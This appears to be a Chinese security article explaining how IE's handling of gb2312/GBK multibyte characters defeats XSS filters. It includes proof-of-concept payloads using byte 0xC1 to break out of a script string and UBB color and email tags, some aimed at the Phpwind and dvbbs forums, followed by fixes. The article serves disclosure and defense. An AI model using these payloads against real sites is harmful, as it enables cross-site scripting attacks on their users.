小心字符集导致的浏览器跨站脚本攻击

 
   | |

导读:字符集指示浏览器如何对待返回数据,gb2312和GBK字符集应用非常广泛,但是,IE在处理宽字符集的时候可能导致程序的安全规则被Bypass掉,引发严重的跨站脚本安全漏洞。

关键词:字符集 浏览器 gb2312 GBK 安全规则 站脚本 安全漏洞

 
正在加载数据...

  在一般的web程序里,显示数据给浏览器的时候都会指定一个字符集,在国内平时我们用到的字符集有utf-8,GBK,gb2312等等,字符集指示了浏览器该如何对待返回的数据。其中gb2312和GBK字符集使用得非常广泛,但是经证明,IE在处理这些宽字符集的时候存在问题,导致可能程序的一些安全规则被Bypass掉,引发严重的跨站脚本安全漏洞。在IE里,如果它遇到一个字符,它是指定字符集里的第一位的时候,就会认为其后续字符和当前字符构成一个合法的字符,这样它在解析包括html标签,处理javascript,Css时都会做如此考虑,测试版本为ie6和ie7。

  1 Bypass某些js的检查规则

HTML>
〈HEAD>
〈TITLE>80sec test〈/TITLE>
〈meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
〈/HEAD>
〈BODY>
〈script>
window.onerror=function(){
alert(’Vul’);
return true;
}
〈/script>
〈script>x=’〈?php echo chr(0xC1);?>’;y=’[User_IN_PUT]‘;〈/script>
〈/BODY>
〈/HTML> 

  这里即使是过滤了〈>’\等字符一样可以利用非法字符集序列来实现\的作用,因为它会把原来存在的’给结合掉,然后前面的’找不到闭合,后面[User_IN_PUT]就可以用来执行js代码了。

  2 Bypass某些属性的检查规则

  为了避免直接使用html导致出现漏洞,一些论坛和程序使用了UBB标签,但是在gbk等多字节编码下,一样容易出现问题,以最容易出现问题的一个UBB标签为例子:

color=xyz〈?php echo chr(0xC1);?>][/color][color=abc onmouseover=alert
(/xss/) s=〈?php echo chr(0xC1);?>]exploited[/color] 
 

0xC1是一个gb2312的第一个字节,上面结果将会转化为:

font color="xyz?>〈/font>〈font color="abc onmouseover=alert(/xss/) s=?>
exploited〈/font> 

其中的
alert(/xss/) 
 

  将会做一个事件执行,所以即使UBB标签也变得不安全,能饶过”的保护。许多论坛都没有注意这点,phpwind,动网等论坛就容易受到这种攻击。而Discuz通过在转换结果之后附加一个空格,修补了这一安全问题。这里使用到ubb标签其实有一个很有意思的tips在里面,因为有的数据库会抛弃与指定字符集不匹配的字符,所以必须借助后面的]等字符来形成一个有效的汉字才能存储到数据库里,当然像ACCESS这种就不会有问题了,另外一些语言在处理字符串的时候会强制字符串的字符集类型,不合法的字符会导致转码的失败或者遭到抛弃,所以也不能利用这种类型的攻击。

  3 几个小例子

  Phpwind论坛charset跨站脚本漏洞

以下是引用片段:
[email=xxxx羃[/email][email=xxxx onmouseover=alert() s=羃]Fuck Me[/email]
[font=宋体;0xc1]xxx[/font]xx 

 羃是一个特殊的十六进制编码和后面的]结合出来的字符,第一个种方法可以直接复制的:)

  0xc1表示一个十六进制的字符编码

  同样在dvbbs论坛也很容易产生一个xss代码如下

xxxxxxxxxxx〈/font> 
 

  均在新版和老版测试通过。

  4 关于修复

  对于程序设计者,由于UTF-8字符集的可靠性,不存在这个安全漏洞,所以大家在设计站点的时候可以考虑使用UTF-8字符集。

  对于广大开发者,可以牢记最小输入等于最大安全的原则,在匹配正则的时候限制输入的字符的范围,尽量匹配ascii字符,如果必须使用中文,可以考虑类似于discuz的在中文后面添加空格修复该问题。

  对于广大用户,这个漏洞由于浏览器处理页面字符的不同,可以考虑使用如Firefox浏览器,可以避免一部分这样的问题。


跨站脚本攻击(XSS)
 如何防御跨站脚本攻击
 防御跨站点脚本攻击的新策略
 小心字符集导致的浏览器跨站脚本攻击
 利用PHP编程防范XSS跨站脚本攻击
 详解XSS跨站脚本攻击
 简单分析Script脚本跨站攻击漏洞技术
 再谈跨站脚本攻击与防御
 XSS攻击升温 Web业务安全面临更大挑战
 Ajax hacking with XSS
 XSS——你会受到攻击吗?
 跨站脚本攻击(XSS)进化了吗?
 防御跨站脚本攻击 拒绝特殊字符
 跨站脚本攻击解析

 
来源:安全中国    
 
 
 
 
 

IE安全

 
Google在上周称它和某些硅谷技术公司遭到了一系列复杂的攻击。微软日前表示:目前IE零日漏洞攻击的目标是IE6的用户,IE6属于……
 
微软周四晚发布了一项公告称,黑客在最近的针对Google、Adobe以及其他公司的攻击中利用了IE零日漏洞。远程代码执行漏洞影响到几乎所有Windows版本上运行的……
 
一种新的公开攻击代码出现了,它针对的是IE中的一个尚未打补丁的显示漏洞,这一漏洞能够让黑客发动路过式攻击并在受害者的机器上散布恶意软件,它影响到……
 
Cenzic公司的最新报告显示,2009年上半年,Mozilla Firefox漏洞占据了浏览器漏洞总量的44%,多过任何其他的浏览器。 Apple的Safari浏览器位列第二,其后是IE。
 
问:安全和操作团队什么时候才乐意支持替换新浏览器? 答:很多转向采用Firefox的企业都认为它比IE更安全。但是,这些支持者后来就会意识到……

热门技术手册排行

 

虚拟专用网络 VPN(Virtual Private Network )能通过公用网络Internet建立一个临时的、安全的连接,是一条穿过混乱的公用网络的安全、稳定的隧道。VPN是对企业内部网的扩展,它可以帮助远程用户、公司分支机构、商业伙伴及供应商同公司的内部网建立可信的安全连接,并保证数据的安全传输。许多公司使用VPN向公司外部的员工提供企业网络接入。本手册将围绕VPN进行全方位的讲解。

 

“最佳实践”来自英文Best Practice。维基百科对最佳实践的定义是一个管理学概念,认为存在某种技术、方法、过程、活动或机制可以使生产或者管理实践的结果达到最优,并减少出错的可能性。学习应用IT企业安全的最佳实践,其实就是借鉴别人成功的经验,让自己在保护企业安全方面少走弯路。在本手册中,将集合IT业内关于企业安全的最佳实践,并不断更新,以期在企业安全防护方面提供帮助。

 

虚拟化是数据中心的流行技术,它起源于20世纪60年代。它是把昂贵的计算机资源的利用最大化的方式。典型的服务器的利用率不足40%,虚拟化可以更有效地利用技术资源,并节约固定费用。虚拟化的最大优势是,它允许管理员从中央区域为个人电脑和客户设备提供软件。虚拟化不需要管理员对一般任务进行分别考虑。服务器的关机可以带动多用户的关机。

 

黑客策略和技术一直都在进步。黑客还在继续开发新的攻击工具和黑客方法,来恶意访问系统并攻击你的网络,这样企业在开发和采取恰当的方法防御黑客的攻击就变得非常困难。《黑客攻击技术和策略》的技术指南将介绍黑客的内心想法,并帮助你理解恶意攻击者的动机,也提供了一些黑客攻击具体信息的方式,采用的方法以及企业应该采用的保护敏感数据的方法。这里将会提供大量黑客技术和策路的信息,例如允许黑客获取网络系统或者文件访问的系统特征探测。

 

假如你正在寻找一个漏洞扫描器,你可能已经遇到了大量的非常昂贵的商业解决方案,这些方案都有一长串的性能和优点。不幸的是,如果你和我们之中大部分人的情况一样的话,你一般根本没有运行这些奇特的系统的预算。你可能已经退而求其次,转向考虑使用像SATAN或Saint的免费工具。然而,你可能觉得使用这些工具是一种折衷的办法,因为它们的性能设置不能与商业解决方案相比。这时候你就应该学会使用Nessus! 2005年12月Nessus背后的公司Tenable Network Security Inc.发布了Nessus 3,引进了对该产品的全面检查。在写这篇文章时候的最近版本,Nessus 3.2是在2008年3月发布的。Nessus现在可以在多种平台上使用,包括Windows、各种版本的Linux、FreeBSD、Solaris和Mac OS X。以下是这次Nessus3中的重大变化: 下面将介绍如何使用Nessus工具以及Nessus工具的更新。

查看更多
 
 

登录TechTarget中国

关闭
本服务仅向TechTarget中国的会员开放,请登录或立即免费注册
登录Email
请输入您的登录Email
密码
下次自动登录